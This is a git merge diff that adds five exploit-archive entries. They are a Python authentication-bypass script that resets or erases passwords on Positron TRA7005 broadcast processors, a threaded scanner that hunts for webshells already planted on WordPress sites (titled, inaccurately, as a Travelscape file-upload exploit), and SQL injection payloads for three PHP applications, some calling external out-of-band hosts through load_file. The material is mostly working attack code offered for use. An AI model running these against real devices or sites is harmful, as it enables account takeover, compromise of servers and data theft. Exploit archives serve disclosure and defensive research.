Merge remote-tracking branch 'upstream/main'

exploits/hardware/remote/51970.py

@@ -0,0 +1,108 @@
+# Exploit Title: Positron Broadcast Signal Processor TRA7005 v1.20 - Authentication Bypass
+# Author: LiquidWorm
+# Vendor: Positron srl
+# Product web page: https://www.positron.it
+#                   https://www.positron.it/prodotti/apparati-broadcast/stereo-multicoder/tra-7005/
+# Affected version: 1.20
+#                   TRA7K5_REV107
+#                   TRA7K5_REV106
+#                   TRA7K5_REV104
+#                   TRA7K5_REV102
+#
+# Summary: The TRA7000 series is a set of products dedicated to broadcast, designed to
+# guarantee an excellent quality-price ratio in compliance with current regulations and
+# intended for individual broadcasters or radio networks. All models in the TRA7000 series
+# are fully digital, using only high-quality components such as 24-bit A/D and D/A converters
+# and 32-bit DSP. The TRA7005 performs the functions of Stereo Coder, RDS Coder, 5-output
+# MPX Distributor, AGC (adjustable) for both analogue and digital audio inputs, Clipper
+# for both analogue and digital audio inputs, change-over emergency switching between any
+# input with adjustable thresholds and intervention times, both in the switching phase on
+# the secondary source and in the return phase to the primary source. Ethernet connection
+# with Web-Server (optional) for total control and management of the device. Advanced BYPASS
+# system between MPX input and outputs, active on operating and power supply anomalies and
+# can also be activated remotely.
+#
+# Desc: The Positron Broadcast Digital Signal Processor TRA7005 suffers from an authentication
+# bypass through a direct and unauthorized access to the password management functionality.
+# The vulnerability allows attackers to bypass Digest authentication by manipulating the
+# password endpoint _Passwd.html and its payload data to set a user's password to arbitrary
+# value or remove it entirely. This grants unauthorized access to protected areas (/user,
+# /operator, /admin) of the application without requiring valid credentials, compromising
+# the device's system security.
+#
+# Tested on: Positron Web Server
+#
+#
+# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+#                             @zeroscience
+#
+#
+# Advisory ID: ZSL-2024-5813
+# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5813.php
+#
+#
+# 22.03.2024
+#
+#
+
+
+import requests,sys
+
+print("""
+______________________________________
+┏┳┓•      ┏┓            ┓  ┏┓    ┓  •
+ ┃ ┓┏┓┓┏  ┃┃┏┓┏┏┓┏┏┏┓┏┓┏┫  ┣ ┓┏┏┓┃┏┓┓╋
+ ┻ ┗┛┗┗┫  ┣┛┗┻┛┛┗┻┛┗┛┛ ┗┻  ┗┛┛┗┣┛┗┗┛┗┗
+       ┛                       ┛
+                 for
+   Positron Digital Signal Processor
+             ZSL-2024-5813
+______________________________________
+""")
+
+if len(sys.argv) != 4:
+    print("Usage: python positron.py <ip:port> <user/oper/admin> <erase/new_pwd>")
+    sys.exit(1)
+
+ip = sys.argv[1]
+ut = sys.argv[2]
+wa = sys.argv[3]
+
+valid_ut = ['user', 'oper', 'admin']
+if ut.lower() not in valid_ut:
+    print("Invalid user type! Use 'user', 'oper', or 'admin'.")
+    sys.exit(1)
+
+url = f'http://{ip}/_Passwd.html'
+did = f'http://{ip}/_Device.html'
+
+try:
+    r = requests.get(did)
+    if r.status_code == 200 and 'TRA7K5' in r.text:
+        print("Vulnerable processor found!")
+    else:
+        print("Not Vulnerable or not applicable. Exploit exiting.")
+        sys.exit(1)
+except requests.exceptions.RequestException as e:
+    print(f"Error checking device: {e}")
+    sys.exit(1)
+
+headers = {
+    'Content-Type'   : 'application/x-www-form-urlencoded',
+    'Accept-Language': 'mk-MK,en;q=0.6',
+    'Accept-Encoding': 'gzip, deflate',
+    'User-Agent'     : 'R-Marina/11.9',
+    'Accept'         : '*/*'
+}
+
+payload = {}
+if wa.lower() == 'erase':
+    payload[f'PSW_{ut.capitalize()}'] = 'NONE'
+else:
+    payload_key = f'PSW_{ut.capitalize()}'
+    payload[payload_key] = wa
+    #print(payload)
+
+r = requests.post(url, headers=headers, data=payload)
+print(r.status_code)
+print(r.text)

exploits/php/webapps/51969.py

@@ -0,0 +1,141 @@
+# Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload
+# Date: 2024-04-01
+# Author: Milad Karimi (Ex3ptionaL)
+# Category : webapps
+# Tested on: windows 10 , firefox
+
+import sys
+import os.path
+import requests
+import re
+import urllib3
+from requests.exceptions import SSLError
+from multiprocessing.dummy import Pool as ThreadPool
+from colorama import Fore, init
+init(autoreset=True)
+error_color = Fore.RED
+info_color = Fore.CYAN
+success_color = Fore.GREEN
+highlight_color = Fore.MAGENTA
+requests.urllib3.disable_warnings()
+headers = {
+    'Connection': 'keep-alive',
+    'Cache-Control': 'max-age=0',
+    'Upgrade-Insecure-Requests': '1',
+    'User-Agent': 'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M;
+wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107
+Mobile Safari/537.36',
+    'Accept':
+'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
+
+    'Accept-Encoding': 'gzip, deflate',
+    'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
+    'Referer': 'www.google.com'
+}
+def URLdomain(url):
+    if url.startswith("http://"):
+        url = url.replace("http://", "")
+    elif url.startswith("https://"):
+        url = url.replace("https://", "")
+    if '/' in url:
+        url = url.split('/')[0]
+    return url
+def check_security(url):
+    fg = success_color
+    fr = error_color
+    try:
+        url = 'http://' + URLdomain(url)
+        check = requests.get(url +
+'/wp-content/themes/travelscape/json.php', headers=headers,
+allow_redirects=True, timeout=15)
+        if 'MSQ_403' in check.text:
+            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+            open('MSQ_403.txt', 'a').write(url +
+'/wp-content/themes/travelscape/json.php\n')
+        else:
+            url = 'https://' + URLdomain(url)
+            check = requests.get(url +
+'/wp-content/themes/aahana/json.php', headers=headers,
+allow_redirects=True, verify=False, timeout=15)
+            if 'MSQ_403' in check.text:
+                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+                open('MSQ_403.txt', 'a').write(url +
+'/wp-content/themes/aahana/json.php\n')
+            else:
+                print(' -| ' + url + ' --> {}[Failed]'.format(fr))
+        check = requests.get(url + '/wp-content/themes/travel/issue.php',
+headers=headers, allow_redirects=True, timeout=15)
+        if 'Yanz Webshell!' in check.text:
+            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+            open('wso.txt', 'a').write(url +
+'/wp-content/themes/travel/issue.php\n')
+        else:
+            url = 'https://' + URLdomain(url)
+        check = requests.get(url + '/about.php', headers=headers,
+allow_redirects=True, timeout=15)
+        if 'Yanz Webshell!' in check.text:
+            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+            open('wso.txt', 'a').write(url + '/about.php\n')
+        else:
+            url = 'https://' + URLdomain(url)
+        check = requests.get(url +
+'/wp-content/themes/digital-download/new.php', headers=headers,
+allow_redirects=True, timeout=15)
+        if '#0x2525' in check.text:
+            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+            open('digital-download.txt', 'a').write(url +
+'/wp-content/themes/digital-download/new.php\n')
+        else:
+            print(' -| ' + url + ' --> {}[Failed]'.format(fr))
+            url = 'http://' + URLdomain(url)
+        check = requests.get(url + '/epinyins.php', headers=headers,
+allow_redirects=True, timeout=15)
+        if 'Uname:' in check.text:
+            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+            open('wso.txt', 'a').write(url + '/epinyins.php\n')
+        else:
+            print(' -| ' + url + ' --> {}[Failed]'.format(fr))
+            url = 'https://' + URLdomain(url)
+        check = requests.get(url + '/wp-admin/dropdown.php',
+headers=headers, allow_redirects=True, verify=False, timeout=15)
+        if 'Uname:' in check.text:
+            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+            open('wso.txt', 'a').write(url + '/wp-admin/dropdown.php\n')
+        else:
+            url = 'https://' + URLdomain(url)
+            check = requests.get(url +
+'/wp-content/plugins/dummyyummy/wp-signup.php', headers=headers,
+allow_redirects=True, verify=False, timeout=15)
+            if 'Simple Shell' in check.text:
+                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
+                open('dummyyummy.txt', 'a').write(url +
+'/wp-content/plugins/dummyyummy/wp-signup.php\n')
+            else:
+                print(' -| ' + url + ' --> {}[Failed]'.format(fr))
+    except Exception as e:
+        print(f' -| {url} --> {fr}[Failed] due to: {e}')
+def main():
+    try:
+        url_file_path = sys.argv[1]
+    except IndexError:
+        url_file_path = input(f"{info_color}Enter the path to the file
+containing URLs: ")
+        if not os.path.isfile(url_file_path):
+            print(f"{error_color}[ERROR] The specified file path is
+invalid.")
+            sys.exit(1)
+    try:
+        urls_to_check = [line.strip() for line in open(url_file_path, 'r',
+encoding='utf-8').readlines()]
+    except Exception as e:
+        print(f"{error_color}[ERROR] An error occurred while reading the
+file: {e}")
+        sys.exit(1)
+    pool = ThreadPool(20)
+    pool.map(check_security, urls_to_check)
+    pool.close()
+    pool.join()
+    print(f"{info_color}Security check process completed successfully.
+Results are saved in corresponding files.")
+if __name__ == "__main__":
+    main()

exploits/php/webapps/51971.txt

@@ -0,0 +1,52 @@
+## Title: Human Resource Management System v1.0 - Multiple SQLi
+## Author: nu11secur1ty
+## Date: 04/02/2024
+## Vendor: https://github.com/oretnom23
+## Software: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
+## Reference: https://portswigger.net/web-security/sql-injection
+
+## Description:
+The cityedit parameter appears to be vulnerable to SQL injection
+attacks. The payload '+(select
+load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+'
+was submitted in the cityedit parameter. This payload injects a SQL
+sub-query that calls MySQL's load_file function with a UNC file path
+that references a URL on an external domain. The application
+interacted with that domain, indicating that the injected SQL query
+was executed.
+The attacker can get all information from the system by using this
+vulnerability!
+
+STATUS: HIGH- Vulnerability
+
+[+]Payload:
+```mysql
+---
+Parameter: cityedit (GET)
+    Type: boolean-based blind
+    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
+or GROUP BY clause
+    Payload: cityedit=22'+(select
+load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
+RLIKE (SELECT (CASE WHEN (1759=1759) THEN 0x3232+(select
+load_file(0x5c5c5c5c726a6564686468666a3662336a3175736a30656f696978343376396f786b6c626f7a666d3561752e6f6173746966792e636f6d5c5c656969))+''
+ELSE 0x28 END)) AND 'GMzs'='GMzs
+
+    Type: error-based
+    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
+GROUP BY clause (FLOOR)
+    Payload: cityedit=22'+(select
+load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
+OR (SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT
+(ELT(8880=8880,1))),0x7178626271,FLOOR(RAND(0)*2))x FROM
+INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'qJHK'='qJHK
+
+    Type: time-based blind
+    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
+    Payload: cityedit=22'+(select
+load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
+AND 2124=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
+INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR
+1) AND 'Jtnd'='Jtnd
+---
+```

exploits/php/webapps/51972.txt

@@ -0,0 +1,44 @@
+## Title: Best Student Result Management System v1.0 - Multiple SQLi
+## Author: nu11secur1ty
+## Date: 04/08/2024
+## Vendor: https://www.mayurik.com/
+## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download
+## Reference: https://portswigger.net/web-security/sql-injection
+
+## Description:
+The nid parameter appears to be vulnerable to SQL injection attacks.
+The payload '+(select
+load_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+'
+was submitted in the nid parameter. This payload injects a SQL
+sub-query that calls MySQL's load_file function with a UNC file path
+that references a URL on an external domain. The application
+interacted with that domain, indicating that the injected SQL query
+was executed.
+The attacker can get all information from the system by using this
+vulnerability!
+
+STATUS: HIGH- Vulnerability
+
+[+]Payload:
+```mysql
+---
+Parameter: nid (GET)
+    Type: boolean-based blind
+    Title: AND boolean-based blind - WHERE or HAVING clause
+    Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU
+
+    Type: stacked queries
+    Title: MySQL >= 5.0.12 stacked queries (comment)
+    Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)#
+
+    Type: time-based blind
+    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+    Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM
+(SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR
+
+    Type: UNION query
+    Title: MySQL UNION query (NULL) - 4 columns
+    Payload: nid=145448807' or '1766'='1766' UNION ALL SELECT
+NULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL#
+---
+```

exploits/php/webapps/51973.txt

@@ -0,0 +1,37 @@
+# Exploit Title: Daily Expense Manager 1.0 - 'term' SQLi
+# Date: February 25th, 2024
+# Exploit Author: Stefan Hesselman
+# Vendor Homepage: https://code-projects.org/daily-expense-manager-in-php-with-source-code/
+# Software Link: https://download-media.code-projects.org/2020/01/DAILY_EXPENSE_MANAGER_IN_PHP_WITH_SOURCE_CODE.zip
+# Version: 1.0
+# Tested on: Kali Linux
+# CVE: N/A
+# CWE: CWE-89, CWE-74
+
+## Description
+Daily Expense Manager is vulnerable to SQL injection attacks. The affected HTTP parameter is the 'term' parameter. Any remote, unauthenticated attacker
+can exploit the vulnerability by injecting additional, malicious SQL queries to be run on the database.
+
+## Vulnerable endpoint:
+http://example.com/Daily-Expense-Manager/readxp.php?term=asd
+
+## Vulnerable HTTP parameter:
+term (GET)
+
+## Exploit proof-of-concept:
+http://example.com/Daily-Expense-Manager/readxp.php?term=asd%27%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6--%20-
+
+## Vulnerable PHP code:
+File: /Daily-Expense-Manager/readxp.php, Lines: 16-23
+<?php
+[...]
+//get search term
+$searchTerm = $_GET['term']; # unsanitized and under control of the attacker.
+//get matched data from skills table
+$query = $conn->query("SELECT * FROM expense WHERE pname like '%$searchTerm%' AND uid='$sid' and isdel='0' group by pname");
+while ($row = $query->fetch_assoc()) {
+    $data[] = $row['pname'];
+}
+//return json data
+echo json_encode($data);
+?>